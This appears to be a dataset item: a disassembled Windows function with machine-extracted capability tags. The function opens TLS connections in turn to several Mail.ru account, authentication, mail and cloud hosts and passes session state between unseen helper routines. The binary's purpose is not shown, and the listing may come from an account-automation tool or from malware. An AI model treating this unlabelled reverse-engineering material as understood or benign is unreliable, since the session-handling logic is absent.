Function at 0x402080
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library
Resolve dns

Disassembly:
sub esp, 0x1bc
push ebx
push esi
push edi
push ebp
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov ebp, eax
lea eax, [esp + 0x3c]
push eax
push 2
call sub.WSOCK32.dll_WSAStartup
test eax, eax
jne 0x4024ba
push 6
push 1
push 2
call sub.WSOCK32.dll_socket
cmp eax, 0xffffffff
mov esi, eax
je 0x4021c1
push str.account.mail.ru
call sub.WSOCK32.dll_gethostbyname
test eax, eax
je 0x4021c1
lea ecx, [esp + 0x2c]
mov dword [ecx], 0
mov dword [ecx + 4], 0
mov dword [ecx + 8], 0
mov dword [ecx + 0xc], 0
mov word [esp + 0x2c], 2
mov eax, dword [eax + 0xc]
push 0x1bb
mov edx, dword [eax]
mov ecx, dword [edx]
mov dword [esp + 0x34], ecx
call sub.WSOCK32.dll_htons
mov word [esp + 0x2e], ax
push 0x10
lea ecx, [esp + 0x30]
push ecx
push esi
call sub.WSOCK32.dll_connect
cmp eax, 0xffffffff
je 0x4021c1
call sub.SSLEAY32.dll_Ordinal_183
call sub.SSLEAY32.dll_Ordinal_183
call sub.SSLEAY32.dll_Ordinal_74
call sub.SSLEAY32.dll_Ordinal_341
push eax
call sub.SSLEAY32.dll_Ordinal_12
add esp, 4
mov edi, eax
test edi, edi
je 0x4021c1
push edi
call sub.SSLEAY32.dll_Ordinal_75
add esp, 4
mov ebx, eax
test ebx, ebx
je 0x4021c1
push ebx
call sub.SSLEAY32.dll_Ordinal_59
add esp, 4
push esi
push ebx
call sub.SSLEAY32.dll_Ordinal_87
add esp, 8
push ebx
call sub.SSLEAY32.dll_Ordinal_43
add esp, 4
test eax, eax
jle 0x4021c1
lea eax, [esp + 0x28]
lea ecx, [esp + 0x18]
lea edx, [esp + 0x14]
push eax
push ecx
push edx
push esi
push ebx
push edi
push ebp
call fcn.004016f0
mov dword [esp + 0x2c], eax
add esp, 0x1c
push ebx
call sub.SSLEAY32.dll_Ordinal_96
add esp, 4
push ebx
call sub.SSLEAY32.dll_Ordinal_48
add esp, 4
push edi
call sub.SSLEAY32.dll_Ordinal_8
add esp, 4
push esi
call sub.WSOCK32.dll_closesocket
cmp dword [esp + 0x10], 0
je 0x4024ba
push 6
push 1
push 2
call sub.WSOCK32.dll_socket
cmp eax, 0xffffffff
mov ebx, eax
je 0x4022c1
push str.auth.mail.ru
call sub.WSOCK32.dll_gethostbyname
test eax, eax
je 0x4022c1
lea ecx, [esp + 0x2c]
mov dword [ecx], 0
mov dword [ecx + 4], 0
mov dword [ecx + 8], 0
mov dword [ecx + 0xc], 0
mov word [esp + 0x2c], 2
mov eax, dword [eax + 0xc]
push 0x1bb
mov edx, dword [eax]
mov ecx, dword [edx]
mov dword [esp + 0x34], ecx
call sub.WSOCK32.dll_htons
mov word [esp + 0x2e], ax
push 0x10
lea ecx, [esp + 0x30]
push ecx
push ebx
call sub.WSOCK32.dll_connect
cmp eax, 0xffffffff
je 0x4022c1
call sub.SSLEAY32.dll_Ordinal_183
call sub.SSLEAY32.dll_Ordinal_183
call sub.SSLEAY32.dll_Ordinal_74
call sub.SSLEAY32.dll_Ordinal_341
push eax
call sub.SSLEAY32.dll_Ordinal_12
add esp, 4
mov esi, eax
test esi, esi
je 0x4022c1
push esi
call sub.SSLEAY32.dll_Ordinal_75
add esp, 4
mov edi, eax
test edi, edi
je 0x4022c1
push edi
call sub.SSLEAY32.dll_Ordinal_59
add esp, 4
push ebx
push edi
call sub.SSLEAY32.dll_Ordinal_87
add esp, 8
push edi
call sub.SSLEAY32.dll_Ordinal_43
add esp, 4
test eax, eax
jle 0x4022c1
lea eax, [esp + 0x28]
lea ecx, [esp + 0x18]
lea edx, [esp + 0x14]
push eax
mov eax, dword [esp + 0x14]
push ecx
push edx
push eax
push ebx
push edi
push esi
push ebp
call fcn.004015d0
mov dword [esp + 0x30], eax
mov dword [esp + 0x44], ebx
mov dword [esp + 0x3c], esi
mov dword [esp + 0x40], edi
add esp, 0x20
push 6
push 1
push 2
call sub.WSOCK32.dll_socket
cmp eax, 0xffffffff
mov edi, eax
je 0x4023c4
push str.e.mail.ru
call sub.WSOCK32.dll_gethostbyname
test eax, eax
je 0x4023c4
lea ecx, [esp + 0x2c]
mov dword [ecx], 0
mov dword [ecx + 4], 0
mov dword [ecx + 8], 0
mov dword [ecx + 0xc], 0
mov word [esp + 0x2c], 2
mov eax, dword [eax + 0xc]
push 0x1bb
mov edx, dword [eax]
mov ecx, dword [edx]
mov dword [esp + 0x34], ecx
call sub.WSOCK32.dll_htons
mov word [esp + 0x2e], ax
push 0x10
lea ecx, [esp + 0x30]
push ecx
push edi
call sub.WSOCK32.dll_connect
cmp eax, 0xffffffff
je 0x4023c4
call sub.SSLEAY32.dll_Ordinal_183
call sub.SSLEAY32.dll_Ordinal_183
call sub.SSLEAY32.dll_Ordinal_74
call sub.SSLEAY32.dll_Ordinal_341
push eax
call sub.SSLEAY32.dll_Ordinal_12
add esp, 4
mov ebx, eax
test ebx, ebx
je 0x4023c4
push ebx
call sub.SSLEAY32.dll_Ordinal_75
add esp, 4
mov esi, eax
test esi, esi
je 0x4023c4
push esi
call sub.SSLEAY32.dll_Ordinal_59
add esp, 4
push edi
push esi
call sub.SSLEAY32.dll_Ordinal_87
add esp, 8
push esi
call sub.SSLEAY32.dll_Ordinal_43
add esp, 4
test eax, eax
jle 0x4023c4
mov eax, dword [esp + 0x24]
mov ecx, dword [esp + 0x20]
mov edx, dword [esp + 0x1c]
push eax
lea eax, [esp + 0x2c]
push ecx
lea ecx, [esp + 0x20]
push edx
lea edx, [esp + 0x20]
push eax
mov eax, dword [esp + 0x20]
push ecx
push edx
push eax
push edi
push esi
push ebx
push ebp
call fcn.00401840
mov dword [esp + 0x3c], eax
add esp, 0x2c
push 6
push 1
push 2
call sub.WSOCK32.dll_socket
cmp eax, 0xffffffff
mov ebx, eax
je 0x4024ba
push str.cloud.mail.ru
call sub.WSOCK32.dll_gethostbyname
test eax, eax
je 0x4024ba
lea ecx, [esp + 0x2c]
mov dword [ecx], 0
mov dword [ecx + 4], 0
mov dword [ecx + 8], 0
mov dword [ecx + 0xc], 0
mov word [esp + 0x2c], 2
mov eax, dword [eax + 0xc]
push 0x1bb
mov edx, dword [eax]
mov ecx, dword [edx]
mov dword [esp + 0x34], ecx
call sub.WSOCK32.dll_htons
mov word [esp + 0x2e], ax
push 0x10
lea ecx, [esp + 0x30]
push ecx
push ebx
call sub.WSOCK32.dll_connect
cmp eax, 0xffffffff
je 0x4024ba
call sub.SSLEAY32.dll_Ordinal_183
call sub.SSLEAY32.dll_Ordinal_183
call sub.SSLEAY32.dll_Ordinal_74
call sub.SSLEAY32.dll_Ordinal_341
push eax
call sub.SSLEAY32.dll_Ordinal_12
add esp, 4
mov esi, eax
test esi, esi
je 0x4024ba
push esi
call sub.SSLEAY32.dll_Ordinal_75
add esp, 4
mov edi, eax
test edi, edi
je 0x4024ba
push edi
call sub.SSLEAY32.dll_Ordinal_59
add esp, 4
push ebx
push edi
call sub.SSLEAY32.dll_Ordinal_87
add esp, 8
push edi
call sub.SSLEAY32.dll_Ordinal_43
add esp, 4
test eax, eax
jle 0x4024ba
mov eax, dword [esp + 0x24]
mov ecx, dword [esp + 0x20]
mov edx, dword [esp + 0x1c]
push eax
lea eax, [esp + 0x1c]
push ecx
mov ecx, dword [esp + 0x1c]
push edx
mov edx, dword [esp + 0x1c]
push eax
push ecx
push edx
push ebx
push edi
push esi
push ebp
call fcn.00401cd0
add esp, 0x28
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 0x1bc
ret 0x10